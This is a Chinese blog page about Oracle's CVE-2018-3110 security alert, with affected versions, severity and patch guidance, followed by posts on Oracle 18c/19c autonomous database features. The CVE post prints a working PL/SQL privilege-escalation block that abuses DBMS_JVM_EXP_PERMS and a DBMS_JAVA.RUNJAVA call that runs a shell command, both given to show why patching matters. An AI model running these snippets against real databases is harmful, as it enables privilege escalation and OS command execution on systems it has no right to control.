eygle.com   eygle.com
eygle.com eygle
eygle.com  
 

August 13, 2018

数据安全:独立发布的Oracle严重 CVE-2018-3110 公告

专业数据库服务:http://www.enmotech.com/services/service.html

原文链接:http://enmotech.com/web/detail/1/565/1.html

更多数据库咨询精彩早知道:"数据和云"公众号

在 2018年8月10日,Oracle 独立的发送了一封"安全警告"邮件给所有的 Oracle 用户,这封邮件的标题是:Oracle Security Alert for CVE-2018-3110。这也是今年 Oracle 第一次独立针对一个 CVE 安全风险发布预警。

正常情况下,Oracle 每个季度发布一次安全补丁更新,今年的下一次发布应该在10月16日。所以针对 CVE-2018-3110 的预警就非常值得大家重视。

CVE 的英文全称是"Common Vulnerabilities & Exposures"公共漏洞和暴露。CVE就好像是一个字典表,为广泛认同的信息安全漏洞或者已经暴露出来的弱点给出一个公共的名称。帮助用户在各自独立的各种漏洞数据库中和漏洞评估工具中共享数据,CVE因此成为了安全信息共享的"关键字"。在一个漏洞报告中指明的一个漏洞,如果有CVE名称,你就可以快速地在任何其它CVE兼容的数据库中找到相应修补的信息,解决安全问题。

预警的邮件内容如下:

预警1.jpg

影响范围和版本

CVE-2018-3110 影响范围是所有当前在支持的数据库版本,但是一部分版本已经在2018年7月的CPU中修订,所以如果此前应用了 7 月的CPU,则本次主要针对Windows 提出修订,还有主要是针对刚刚发布的 Oracle 18.3 版本的修正。

详细说明如下:

  1. 修正了Windows上版本11.2.0.4和12.2.0.1中的Oracle数据库漏洞。 CVE-2018-3110的CVSS v3基本分数为9.9,可能会导致Oracle数据库和对底层服务器的shell访问完全受损。

  2. CVE-2018-3110还影响Windows上的12.1.0.2以及Linux和Unix上的Oracle数据库,但是这些版本和平台的补丁包含在2018年7月的CPU中。

如果您在Windows上运行Oracle数据库版本11.2.0.4和12.2.0.1,请应用下面指出的修补程序。 如果您在Windows或Linux或Unix上的任何版本的数据库上运行版本12.1.0.2并且尚未应用2018年7月的CPU,请执行此操作。

由于此漏洞的性质,Oracle强烈建议客户立即采取措施。

除了以上声明的版本,其他过期版本同样会受到影响,只是 Oracle 不再单独列出和提供独立的补丁而已。

严重程度

本次警告之所以独立发出,重点预警,是因为这个漏洞的危险性非常高,CVSS V3的评分高达 9.9 ,也就几乎是能够『完全控制系统』的安全威胁。

CVSS : Common Vulnerability Scoring System,即"通用漏洞评分系统",是一个"行业公开标准,其被设计用来评测漏洞的严重程度,并帮助确定所需反应的紧急度和重要度"。 CVSS的目标是为所有软件安全漏洞提供一个严重程度的评级,这个评分系统把能够完全攻破操作系统层的已知安全漏洞评为基准分数10.0分。换句话说,CVSS基准分数为10.0分的安全漏洞一般指能够完全攻破系统的安全漏洞,典型的结果是攻击者完全控制一个系统,包括操作系统层的管理或者"根"权限。

当然这个漏洞是需要前提条件的,CVE-2018-3110 需要一个数据库用户,具备最基本的CREATE SESSION,也就是说能够创建会话,连接到数据库。然后,基于对于公共 JAVA 对象的访问,获得权限提升,直至全部控制数据库。

这个漏洞的组件是:Java VM。

预警2.jpg

在 2018年7月发布的CPU中,包含的 CVE-2018-3004 是和 3110 同源的漏洞,是在上一次实现攻击的基础上,有了进一步的简化攻击,从而其风险分值上升到 9.9 。

预警3.jpg

补丁列表

在 MOS 的以下文档,可以找到适用于各个版本的补丁:

Critical Patch Update (CPU) Program July 2018 Patch Availability Document (PAD) (文档 ID 2394520.1)。

针对 Oracle 18c ,也就是刚刚发布的 18.3 以及 12.2 的补丁列表如下,大家可以通过MOS找到适用于自己环境的补丁:

预警4.jpg

风险示例

很多客户可能会关心,如果不升级,到底会有多大的影响?

有些安全漏洞,需要特殊的权限,复杂的攻击注入方式,所以及时存在,重现不容易,威胁也就不大,例如2018年1月发布的安全补丁,其中一个漏洞已经存在了很久,以下连接中重现了 CVE-2017-10282 漏洞,其评分是 9.1 :

安全警报:Oracle 2018一月号安全补丁修复由来已久安全漏洞

而本次警示的 CVE-2018-3110 其评分是 9.9 ,需要的权限更少,更容易重现。

除非您能明确控制 Java VM 组件对象授权,并且能够确保每一个连接数据库的用户的身份和操作控制,否则强烈建议应用补丁,防范风险。

如果你不需要JAVA组件,建议在安装数据库时不要选择,否则就可能面临一系列的麻烦。在 Oracle 11.2.0.1 版本中,就曾经几度发生过注入漏洞。

这些麻烦多数是过度授权,将一些JAVA对象授权给 Public 执行权限,就导致了问题。例如 11.2.0.1 的 CPU 修正 9454036,其补丁脚本 jvm_exp.sql 的最后一段正是对于权限的回收,这个命令回收了 create session 用户也能执行 DBMS_JVM_EXP_PERMS 的问题:

begin

initjvmaux.exec('revoke execute on sys.dbms_jvm_exp_perms from PUBLIC');

exception

when others then

if sqlcode not in (-01927, -06550, -06512) then raise; end if;

end;

/

关于 DBMS_JVM_EXP_PERMS 的执行权限的漏洞是,可以通过类似如下代码给自己授予JAVA的系统执行权限,就可以随时提权成为DBA了:

DECLARE

POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;

CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' from dual;

BEGIN

OPEN C1;

FETCH C1 BULK COLLECT INTO POL;

CLOSE C1;

DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);

END;

/

此前 CPU 修订的另外一个漏洞则是和 DBMS_JAVA 的执行权限有关,通过这个Package的调用,可以随意执行系统命令,进一步提升权限:

SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper /bin/sh -c /usr/bin/id>/dev/shm/out') FROM DUAL;

这些方法都是在『DBA的暗世界』里广为流传的,如果您的数据库不能及时应用修正,又缺乏良好的权限控制,那么你的数据就早已经是明朗的天空了。

如果您还运行在低版本的数据库上,建议大家关注安全问题了。

参考文献:

http://www.oracle.com/technetwork/security-advisory/alert-cve-2018-3110-5032149.html

Critical Patch Update (CPU) Program July 2018 Patch Availability Document (PAD) (文档 ID 2394520.1)

文章标签:

Posted by eygle at 11:25 AM | Permalink | OraNews (250)

August 12, 2018

Oracle机器学习五大特性:18c 提供自治数据库索引优化

在 Oracle 18c 以及 Oracle 19c 的产品中,机器学习 成为一个重要的 战略技术点,Larry Ellison 在演讲中也不断提到 Machine Learning,那么机器学习在 Oracle 数据库中到底有什么样的应用?是 纸上谈兵 还是 性能利器?

在最近 Oracle 活动的一页 PPT 上,我们看到了一些信息,云和恩墨的专家们在这些活动中和 Oracle 研发领袖们不断探讨,以其将这些变化呈现给社区。

自治数据库的负载优化 - Autonomous Workload Optimization ,基于机器学习,提供以下 五大功能。

  1. 自我优化 Self-Tuning ,例如自动创建和监控索引,当然这个过程可以人工干预,以防止误判。Automatic creation and monitoring of indexes with manual override。这个特性如果成熟,大家可以知道为我们带来的可能变革,索引是最影响性能,也最为重要,如果索引能够实现自治,这将是优化的一大福音。

  2. 统计( Statistics),实时维护优化统计信息,让统计信息更及时,Real-time maintenance of optimizer statistics;

  3. 执行计划(Plans),当执行计划改变时自动检测和回归修正,Automatic detection and correction of regressions due to plan changes;

  4. 配置( Configuration ),自动调优内存,进程,会话... ,Automatically tune memory ,process,session,etc,

  5. 失控SQL (Runaway SQL)控制,自动杀掉失控SQL并阻止执行,直至优化完成,Automatically kill runaway SQL and prevent re-execution until tuned.

PIC 1.jpg

当机器学习可以通过自我驱动实现这些特性,那么数据库维护的工作量真的就可以大幅度降低了。

补充一张 Larry Ellison 的 PPT,描绘了类似的功能。这张蓝图预计是在 Oracle 19c 中实现的。

通过机器学习的算法(Machine Learning),可以随时监控系统的负载变化,识别潜在的风险,对于SQL执行计划和索引做出自动调节。

PIC 20.jpg

自治优化的三个步骤:识别问题(Identify Candidate Improvements),测试改进(Test Improvement to Ensure Benifit),验证改进(Validate Change for Each SQL).

•机器学习 持续监控工作负载并且识别潜在新的SQL执行计划和索引Machine Learning continuously monitors workload and identifies potential new SQL plans and indexes
-执行计划就像新的驾驶方向,索引就像新的道路。Plans are like driving directions, indexes are like new roads
•SQL执行计划和索引的改变是具有风险的 However, SQL plan and index changes are risky
-即使一个改变让千分之一的SQL性能受损,那都不可接受。Changes that improve 999 cases but hurt 1 are unacceptable
•自治的目标是避免所有的性能衰减。Goal of Autonomous is to avoid ALL slowdowns
•建议的修改在工作负载时间之外测试验证。Proposed changes tested outside application workload
•在第一次执行变更SQL时验证受益。Then benefit is validated on first execute of every changed SQL
-如果性能受损则立即恢复原有执行计划。If performance regresses then old plan is restored
这就是机器学习在Oracle数据库中的实践。

Posted by eygle at 10:08 AM | Permalink | Oracle12c/11g (146)

Oracle 发布安全预警 CVE-2018-3110 强烈建议用户应用

在 2018年8月10日,Oracle 发布了安全预警 CVE-2018-3110,强烈建议用户应用。CVE-2018-3110的CVSS v3基本分数为9.9,可能会导致Oracle数据库和对底层服务器的shell访问完全受损。

参考官网:http://www.oracle.com/technetwork/security-advisory/alert-cve-2018-3110-5032149.html

此安全警报解决了Windows上版本11.2.0.4和12.2.0.1中的Oracle数据库漏洞。 CVE-2018-3110还影响Windows上的Oracle数据库版本12.1.0.2以及Linux和Unix上的Oracle数据库,但是这些版本和平台的补丁包含在2018年7月的CPU中,此前 云和恩墨 已经基于安全的考虑向用户提供了关于 7 月 CPU 的评估和建议,数据安全、数据保护刻不容缓。

PIC 5.jpg

如果您在Windows上运行Oracle数据库版本11.2.0.4和12.2.0.1,请应用下面指出的修补程序。 如果您在Windows或Linux或Unix上的任何版本的数据库上运行版本12.1.0.2并且尚未应用2018年7月的CPU,请执行修正操作。

由于此漏洞的性质,Oracle强烈建议客户立即采取措施。

受影响的产品和补丁信息

此安全警报解决的安全漏洞会影响下面列出的产品。 产品区域显示在"修补程序可用性文档"列中。 请单击下面"修补程序可用性文档"列中的链接,以访问有关修补程序可用性信息和安装说明的文档。

Affected Products and VersionsPatch Availability Document
Oracle Database Server, versions 11.2.0.4, 12.1.0.2, 12.2.0.1, 18 Database

安全警报支持的产品和版本

通过安全警报程序发布的修补程序仅适用于终身支持策略的高级支持或扩展支持阶段涵盖的产品版本。 Oracle建议客户计划产品升级,以确保通过安全警报程序发布的修补程序可用于当前运行的版本。

未针对Premier Support或Extended Support提供的产品版本未针对此安全警报所解决的漏洞进行测试。但是,早期版本的受影响版本可能也会受到这些漏洞的影响。因此,Oracle建议客户升级到支持的版本。

数据库,融合中间件,Oracle Enterprise Manager产品根据My Oracle Support说明209768.1中说明的软件纠错支持策略进行修补。请查看技术支持政策,以获取有关支持政策和支持阶段的进一步指导。

Oracle数据库服务器风险表

此安全警报包含1个适用于Oracle数据库服务器的新安全修复程序。 如果没有身份验证,此漏洞无法远程利用,即,如果不需要用户凭据,则可能无法通过网络利用此漏洞。 此修复程序不适用于仅客户端安装,即未安装Oracle数据库服务器的安装。 可以在此处找到此风险矩阵的英文文本格式。

CVE#ComponentPackage and/or Privilege RequiredProtocolRemote
Exploit
without
Auth.?
CVSS VERSION 3.0 RISK (see Risk Matrix Definitions)Supported Versions AffectedNotes
Base
Score
Attack
Vector
Attack
Complex
Privs
Req'd
User
Interact
ScopeConfid-
entiality
Inte-
grity
Avail-
ability
CVE-2018-3110 Java VM Create Session Oracle Net No 9.9 Network Low Low None Changed High High High 11.2.0.4, 12.1.0.2, 12.2.0.1, 18

提醒所有用户注意这个安全风险。

Posted by eygle at 10:04 AM | Permalink | Backup&Recovery (143)

自治数据库七大特性:Oracle 18c 通过自治实现自动升级

Oracle 18c 以自治数据库之名来推动行业变革,那么自治何以实现呢?

从以下一页PPT可以看到一些概况,自治数据库的运维( AUtonomous Databaes Operations)将在以下 7 个方向实现自动化。

  1. 供应 (Provision),当用户请求一个数据库时,比如创建一个 RAC 集群和 Data Guard,这些工作自动完成;

  2. 安全(Secure),加密数据、数据库安全卫士、在线的应用安全补丁,这些工作无需用户动手;

  3. 更新(Upgrade),在线补丁和升级数据库(onlie patching and upgrade ),升级的难题自动解决;

  4. 保护(Portect),备份、切换、修复(Backup、Failover , Repair)可以自动进行;

  5. 扩展(Scale),弹性调整 OCPU,扩展数据库( Elastically adjust OCPUs,Expand Database),在云上的弹性资源扩展;

  6. 迁移(Migrate),简化数据库迁移,从对象存储装载数据;

  7. 整合(Consolidation),用户驱动 PDB 和 CDB 的创建

基本上,这就是数据库的运维自动化演进,Oracle 的战略就是『向云而生』。

PIC.jpg

通过这些特点可以看到,Oracle 其实将 Oracle Cloud 和 Oracle Database 更加紧密的结合在一起,在云上提供这些功能,而在企业级安装了 Oracle 18c,这些功能基本上是没有的。和以前没有太大变化。

云和恩墨致力于将这些功能在企业内部自动化的实现,zCloud 产品就在实现这样的功能,为用户提供自动化、自治的私有云开放平台,是云和恩墨的产品使命。

Posted by eygle at 9:56 AM | Permalink | Oracle12c/11g (146)

August 9, 2018

ATP-Oracle自治事务处理(OLTP)数据库与自动索引优化

在 Oracle 数据库的世界里,有两个新的词汇将会变得越来越重要,一个是 ADW ,一个是 ATP。

ADW = Autonomous Dat Warehouse ,自治数据仓库;

ATP = Autonomous Transaction Processing,自治事务处理数据库;

在2018年4月, Oracle 已经发布了 Autonomous Data Warehouse 服务(ADW),现在 Autonomous Transaction Processing 服务发布 (ATP),这两者都是依托 Oracle Cloud提供的。除非用户采购Oracle的公有云或者Oracle的一体机私有云版本,否则很难完全体验到这两者的领先优势。

对于 ATP 来说,最重要的是性能,性能是用户最棘手的核心所在,过去云和恩墨也以持续提供优化服务著称,而自治数据库就是要降低人的工作量和投入。

Oracle 自治数据库的重要创新是,极大的降低人力投入,并且不需要学习成本,Oracle 自动提供了新的功能,而且性能卓越。Larry Ellison对比了和 Amazon的数据库产品,Aurora 是 OLTP 型产品,但是在对比中,事务处理 Oracle 达到 18,300 事务/s ,是 Amazon Aurora 的 12倍,在混合负载中,更加有 100倍的性能超越。

AutonomousAmazonVs.jpg

以 NetSuite 举例,Oracle ATP的优化效果。专家优化的系统,已经比不上 ATP 的自动优化,自治事务数据库使用更少的索引和自动优化,带来了更佳的性能。

在复杂的 NetSuite 负载中,17,542个SQL,1,852张表,8,151个索引,专家优化达成的效果,使用了4663个索引,而自治数据库则仅用1733个索引,最终的性能表现,ATP 较佳。

在ATP环境中,测试前删除了所有索引和统计信息,所有的索引都是自动被创建的。

自治的时代已经来临,Oracle 数据库的革命离我们不远。

更多信息参考:http://enmotech.com/web/detail/1/556/1.html

Posted by eygle at 5:49 PM | Permalink | Oracle12c/11g (146)

近期发表

  • 自治数据库:Oracle自治事务处理发布和 19c 路线图 - August 9, 2018
  • 静默错误是什么? - 从腾讯云丢失用户数据看安全 - August 7, 2018
  • 自治数据库:Oracle 的自治数据仓库云-ADWC体验 - August 4, 2018
  • 2018 Oracle数据库大会:自治事务处理数据库 8月推出 - August 3, 2018
  • 2018 Oracle数据库技术大会 - ACOUG在现场 - August 3, 2018
  • Oracle 18.3 和 12.2 版本初始化参数缺省值的改变列表 - August 2, 2018
  • Oracle 18.3 版本参数比较12.2 看新特性优化诊断增强 - August 1, 2018
  • Shared Pool 中 ges resource dynamic 和 ges enqueues 超高诊断 - August 1, 2018
  • SMCO 进程:空间管理调度进程-Space Management Coordinator - August 1, 2018
  • 内核分析:使用 oradebug 转储 library_cache 内存信息 - July 31, 2018


  • CopyRight © 2004 ~ 2012 eygle.com, All rights reserved.